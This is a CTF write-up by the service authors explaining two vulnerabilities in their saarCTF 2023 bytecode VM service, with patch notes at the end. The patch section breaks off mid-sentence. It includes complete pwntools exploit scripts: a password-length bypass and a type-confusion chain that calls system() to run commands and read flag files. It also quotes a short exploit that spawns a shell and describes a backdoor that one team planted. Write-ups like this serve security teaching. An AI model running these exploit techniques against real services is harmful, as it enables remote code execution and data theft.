Saarsec

saarsec

Schwenk and pwn

saarCTF 2023 - SaaSSaaSSaaSSaaS

SaaSSaaSSaaSSaaS

The saarCTF 2023 service SaaSSaaSSaaSSaaS allows users to upload and execute small programs in a local-dialect-inspired programmming language. On the server, programs are compiled into bytecode and interpreted in a stack-machine VM, which suffers from two flaws:

  1. String comparisons are broken
  2. Arithmetic overflows and an unfortunate encoding scheme lead to type confusion

Service Overview

SaaSSaaSSaaSSaaS–Saarsec’s alluring allegiant superb secure and absolutely safe, speedy advanced arithmetic stack system as a service–allows users to upload programs. Programs can be uploaded as either public or private: public programs are accessible by everyone, while private programs are additionally protected by a (server-generated) password. E.g., the following shows a user uploading a private “Hello World” program, then executing it (user input highlighted):

=================================================[ SaaSSaaSSaaSSaaS ]===============================================
Saarsec's alluring allegiant superb secure and absolutely safe, speedy advanced arithmetic stack system as a service
=================================================[ (c) saarsec 2023 ]===============================================

Menu:
1 - Run Program
2 - Create new public program
3 - Create new private script

Your choice: 3
Please enter a name for your program: myprogram
Your password is: 2636c0a3e88c600af366bb7c9c2ba613
Please enter your program one line at a time
Terminate your input with a blank line
Brundse "Hello World"
=================================================[ SaaSSaaSSaaSSaaS ]===============================================
Saarsec's alluring allegiant superb secure and absolutely safe, speedy advanced arithmetic stack system as a service
=================================================[ (c) saarsec 2023 ]===============================================

Menu:
1 - Run Program
2 - Create new public program
3 - Create new private script

Your choice: 1
Please enter the name of the program you'd like to run: myprogram
Please enter the password: 2636c0a3e88c600af366bb7c9c2ba613
Running myprogram:
Hello World

The names of programs containing flags were available as flag IDs.

Service Internals

Implementation wise, SaaSSaaSSaaSSaaS consists of three components:

While there are no (intended) flaws in the frontend or the compiler, the saarvm bytecode interpreter contains two of them.

As alluded to in the service name, the bytecode interpreter is a stack-based VM. Stack elements are typed and can be either a number (integer) or a string. The VM implements the following operations (arg<N> is the N-th stack element, 0 = stack top):

Opcode Description Encoding (hex)
OP_PUSH_INT Push 16-bit immediate 01 <16-bit val>
OP_PUSH_STR Push string immediate 02 <16-bit length> <variable length string>
OP_ADD Push arg1 + arg0 10
OP_SUB Push arg1 - arg0 11
OP_MUL Push arg1 * arg0 12
OP_DIV Push arg1 / arg0 13
OP_AND Push arg1 & arg0 14
OP_OR Push arg1 | arg0 15
OP_XOR Push arg1 ^ arg0 16
OP_NOT Push ~arg0 17
OP_EQ Push arg1 == arg0 20
OP_LT Push arg1 < arg0 21
OP_DUP Duplicate stack element at position arg0 30
OP_SWAP Swap element at position arg0 with arg1 31
OP_POP Discard the top-most element 32
OP_JMP Set instruction pointer to arg0 40
OP_JMPI Set instruction pointer to arg1 if arg0 is non-zero 41
OP_SYSCALL Invoke library function in arg0 with arg1 arguments 42

Vulnerability 1: String Comparison

Half of the flags were stored by the gameserver in public programs that were equivalent to this python code:

PASSWORD = "<RANDOMLY GENERATED PASSWORD>"

userpass = input("[saarsec secure vault] Please enter password: ")

if userpass == PASSWORD:
    print("<FLAG">)

The core vulnerability here is the incorrect implementation of OP_EQ in the interpreter. If the arguments are string arguments, the interpreter considers them equal if they have equal length or equal contents:

void op_eq(interpreter* interp){
	if(top_is_str(interp)){
		char* v2 = pop_str(interp);
		char* v1 = pop_str(interp);
		debug("OP_EQ, computing '%s' == '%s'\n", v1, v2);
		push_int(interp, (strlen(v1) == strlen(v2)) | (strcmp(v1, v2)!=0?0:1)); //VULN: ORed instead of ANDed
		free(v1);
		free(v2);
	} else {
		uint32_t v2 = pop_int(interp);
		uint32_t v1 = pop_int(interp);
		debug("OP_EQ, computing %d == %d\n", v1, v2);
		push_int(interp, v1!=v2?0:1);
	}
}

To exploit this bug, it is thus enough to execute the public program containing the flag and just try strings of different lengths:

import sys
from typing import List

from pwn import *

TIMEOUT = 7
PORT = 24929

FLAG_RE = re.compile(br"SAAR\{[A-Za-z0-9-_]{32}\}")


def exploit_id_with_len(target, program_id, pwd_len):
    conn = remote(target, PORT, timeout=TIMEOUT, ssl=True)
    try:
        conn.recvuntil(b'Your choice')
        print("Selecting run program")
        conn.sendline(b'1')
        conn.recvuntil(b'Please enter the name of the program you\'d like to run:')
        print(f"Sending program name {program_id}")
        conn.sendline(program_id.encode())
        if b'password' in conn.recvuntil([b'Running', b'Please enter the password:']):
            # target is a private program, but we're only looking for public ones
            return

        # OP_EQ operator on strings checks length *OR* content equality
        # -> send a password of the correct length and we're good
        conn.sendline(b"X" * pwd_len)
        flags = FLAG_RE.findall(conn.recvall())
        if flags:
            return ";".join(f.decode() for f in flags)
    finally:
        conn.close()


def exploit_id(target, program_id):
    for pwd_len in range(8, 16):
        result = exploit_id_with_len(target, program_id, pwd_len)
        if result:
            return result


def exploit(target: str, program_ids: List[str]):
    for program_id in program_ids:
        print(f'Attacking {program_id}')
        result = exploit_id(target, program_id)
        print(result)


if __name__ == '__main__':
    exploit(sys.argv[1], sys.argv[2].split(','))

Vulnerability 2: “Syscalls” and Type Confusion

The second flaw of the service was in the OP_SYSCALL instruction. The local-dialect-inspired programming language includes two statements for in- and output:

Looking at the compiler code, both are implemented via the questionable OP_SYSCALL function, which takes the name of a libc function as a stack argument:

    def visit_GetCharStmt(self, n):
        self._push_int(0)
        self._push_str('getchar')
        self._add(OP_SYSCALL)
        # ...
 
    def visit_PutsStmt(self, n):
        n.expr.accept(self)
        self._push_int(1)
        self._push_str('puts')
        self._add(OP_SYSCALL)
        # ...

OP_SYSCALL is implemented like this:

void op_syscall(interpreter* interp){
	if(!top_is_str(interp)){
		exit(-1);
	}
	char* func_name = pop_str(interp);
	void* f = dlsym(RTLD_DEFAULT, func_name);
	uint32_t nargs = pop_int(interp);
	debug("OP_SYSCALL, calling function '%s' with %d args\n", func_name, nargs);
	argument args[MAX_ARGS];
	for(int i=0; i<nargs && i<MAX_ARGS; i++){
		if(top_is_str(interp)){
			args[i].arg_s = pop_str(interp);
		}else{
			args[i].arg_i = pop_int(interp);
		}
	}
	switch(nargs){
		case 0:
			push_int(interp, ((fn_0*)f)());
			break;
		case 1:
			push_int(interp, ((fn_1*)f)(args[0]));
			break;
		case 2:
			push_int(interp, ((fn_2*)f)(args[0], args[1]));
			break;
		case 3:
			push_int(interp, ((fn_3*)f)(args[0], args[1], args[2]));
			break;
		default:
			break;
	}
}

I.e., it takes the top stack argument as a function name, resolves it via dlsym, then calls it with up to three arguments (also taken from the stack).

While the compiler only generates code that places getchar or puts on the stack for OP_SYSCALL, multiple instructions do not properly type-check their arguments, which can mess up the stack-layout and allows us to call arbitrary functions.

Inside the interpreter, stack-arguments always use at least four bytes.

Value Stack bytes (hex, little-endian)
0x42 (int) 42 00 00 00
Hello World (string) 0b 00 00 80 48 65 6c 6c 6f 20 57 6f 72 6c 64

The interpreter checks the type of the top-most stack element simply by reading it as a 32-bit value, then checking whether the top-bit is set (string) or not (int). However, the top-bit can of course also be set through arithmetic overflows. By “converting” the top element from an int to a string, we can have the interpreter “swallow” an arbitrary number of stack bytes, which lets us control the argument to OP_SYSCALL:

import string
import sys
from typing import List

from pwn import *

context.log_level = "debug"

TIMEOUT = 7
PORT = 24929

FLAG_RE = re.compile(br"SAAR\{[A-Za-z0-9-_]{32}\}")

# Exploit template
# -> use addition to create a large number on the stack that will be interpreted as a string
# -> use unaligned stack to replace a return-address inside the VM with the address of an `OP_SYSCALL` instruction
# -> make the top stack element "system"
# -> provide string arg "cat <target_file>"
EXPLOIT_TEMPLATE = string.Template(
    # First, we'll introduce a mutex-variable, such that we run the actual exploit code only once
    """
Mach 's Mutex 0
"""
    
    # Next, output a string of fixed length to create an OP_SYSCALL instruction at a known offset
    # This will generate
    # 3: PUSH_STR "Test" (1+2+4 = 7)
    # 10: PUSH_INT 1 (1+2 = 3)
    # 13: PUSH_STR "puts" (1+2+4 = 7)
    # 20: SYSCALL       <-- This is where we need to jump to
    """
Brundse "TEST"
"""

    
    # Now for the hard part!
    # We need to define a function where we can mess with the stack layout
    # In essence, we want to misalign the stack such that the return-value becomes the return-**address**
    # In normal operations, the return instruction performs the following stack operations:
    #     before: [OLD_STACK] [RETADDR] [ARG1] [ARG2] [RETVAL]
    #     after:  [OLD_STACK] [RETVAL] [RETADDR]
    # If we can modify one of the arguments to take the space of *two* arguments, we can make it do the following instead:
    #     before: [OLD_STACK] [RETADDR] [ARG1] [ARG2] [RETVAL]
    #  exploited: [OLD_STACK] [RETADDR] [exploitARG2] [RETVAL]
    #     after:  [RETVAL] [OLD_STACK]
    # I.e., the former top-stack element becomes the return-address,
    # and the return-value becomes the new top element
    #
    """
Vergliggere 's Exploit holle 's A unn dann holle 's B unn dann mach allemohl
"""
    # now we need to double B often enough such that the highest bit will be set
    # starting from B = 1<<15, a total of 16 duplications/shifts should suffice
    """
    Mach 's A 31960
    Mach 's B 32768
    Mach 's B ('s B babbe an 's B)
    Mach 's B ('s B babbe an 's B)
    Mach 's B ('s B babbe an 's B)
    Mach 's B ('s B babbe an 's B)
    Mach 's B ('s B babbe an 's B)
    Mach 's B ('s B babbe an 's B)
    Mach 's B ('s B babbe an 's B)
    Mach 's B ('s B babbe an 's B)
    Mach 's B ('s B babbe an 's B)
    Mach 's B ('s B babbe an 's B)
    Mach 's B ('s B babbe an 's B)
    Mach 's B ('s B babbe an 's B)
    Mach 's B ('s B babbe an 's B)
    Mach 's B ('s B babbe an 's B)
    Mach 's B ('s B babbe an 's B)
"""
    # B should now be 1<<30 == 0x4000000
    # as we want to shadow argument A, which is a 4-byte int on the stack,
    # we also need to set the "length" of our string to 4.
    # Thus, in the last multiplication, we also add 4
    # Note that order-of-operations is very important here, as we can only add number while 
    # all arguments are < 0x80000000
    """
    Mach 's B 's B babbe an ('s B babbe an 4)
"""    
    # After this last step, B should have the value 0x80000004,
    # which should encode a string of length 4
    
    # A return instruction should now misalign the stack and give us control over the VM instruction pointer
    # As the return value of our function should become the new stack-top, we will return the string "system"
    """
    Tappe hemm unn holle "system"
Aweil is awwer Schluss!
"""

    # Next, we need to place fake syscall arguments onto the stack.
    # The easiest way to do this is to put the values into variables (which will be allocated in-order on the stack)
    #
    # 1. the command we want to execute. We could cat the file, but we can also just execute it on the target machine.
    #    We can even run it under `timeout` such that blocking operations (e.g. input) are not an issue
    """
Mach 's Argument "timeout 0.1s /home/saassaassaassaas/saarvm /home/saassaassaassaas/data/${target_id}"
"""
    # 2. The number of syscall arguments. In our case this is just 1
    """
Mach 's Anzahl 1
"""
    # 3. The last argument is the "syscall"/function we want to execute
    # However, it will be swapped with the return address of our function
    # Therefore, instead we need to place to address of our SYSCALL instruction into this stack slot
    """
Mach 's Syscall 20
"""   
     
    # Run everything (but only once)
    """
Wenn 's Mutex iss 0 mach allemohl
    Mach 's Mutex 1
    Holle 1 unn dann holle 1 unn dann  geh uff Trulla bei 's Exploit
Aweil is awwer Schluss!
""")


def exploit_id(target, program_id):
    exploit_program_name = "exploit" + ''.join(random.choice(string.ascii_letters) for _ in range(16 - 7))

    conn = remote(target, PORT, timeout=TIMEOUT, ssl=True)
    try:
        conn.recvuntil(b'Your choice')
        print("Selecting private program")
        conn.sendline(b'3')
        conn.recvuntil(b'Please enter a name for your program:')
        print(f"Sending program name {exploit_program_name}")
        conn.sendline(exploit_program_name.encode())
        conn.recvuntil(b'Your password is:')
        password = conn.recvline().decode().strip()
        print(f"Received password {password}")
        conn.recvuntil(b'Terminate your input with a blank line')
        program = EXPLOIT_TEMPLATE.substitute({"target_id": program_id})
        print("Sending program...")
        for line in program.splitlines():
            if line.strip():  # send all non-empty lines
                conn.sendline(line.encode())
                print(line)
        conn.sendline()  # send blank line to terminate upload
        conn.recvall()

        # 2. re-open connection to run the exploit program
        conn = remote(target, PORT, timeout=TIMEOUT, ssl=True)
        conn.recvuntil(b'Your choice')
        print("Selecting run program")
        conn.sendline(b'1')
        conn.recvuntil(b'Please enter the name of the program you\'d like to run:')
        print(f"Sending program name {exploit_program_name}")
        conn.sendline(exploit_program_name.encode())
        if b'password' in conn.recvuntil([b'Running', b'Please enter the password:']):
            # we _should_ be prompted for a password
            conn.sendline(password.encode())
        flags = FLAG_RE.findall(conn.recvall())
        if flags:
            return ";".join(f.decode() for f in flags)
    finally:
        conn.close()


def exploit(target: str, program_ids: List[str]):
    for program_id in program_ids:
        print(f'Attacking {program_id}')
        result = exploit_id(target, program_id)
        print(result)


if __name__ == '__main__':
    exploit(sys.argv[1], sys.argv[2].split(','))

The original intention was that all arithmetic operations would properly truncate their results to 16 bits, except OP_ADD, which would be left exploitable. However, as teams discovered during the CTF, this was not the case, as almost all operations only type-checked the first, but not the second arguments (oops). This allowed for much shorter exploits like the following (found in a program helpfully named exploit<random> by the attacking team):

Vergliggere's Hauptfunktion Mach Allemohl
    Wenn 1 Babbe an ("DDDD" Mohl 0) Mach Allemohl
    Aweil Iss Awwer Schluss
    Tappe Hemm Unn Holle 82
Aweil Iss Awwer Schluss
Mach's A "sh" Babbe an (1 Babbe an ("system" Babbe an (Geh Uff Trulla Bei's Hauptfunktion)))
Brundse's A
"22B"

Due an additional oversight(*) it was also possible to completely overwrite the service files. This was exploited by one team that “remote-patched” the service: They replaced the frontend binary with a small python-script that served the main-menu, but no longer stored or executed programs. Instead, their “execute” function checked for an RSA-encrypted secret-phrase, then opened a shell. This, of course, made our checkers quite unhappy and caused all affected SaaSSaaSSaaSSaaS instances to become Mumble.

(* = note to self: next time you design a service with RCE, make sure to drop privileges beforehand…)

Patching

The first flaw (string comparison) can be patched in the interpreter binary by replacing the offending OR eax, ebx (09 d8) instruction with AND eax, ebx (21 d8).

The second flaw is a little harder to patch, but some possibilites are: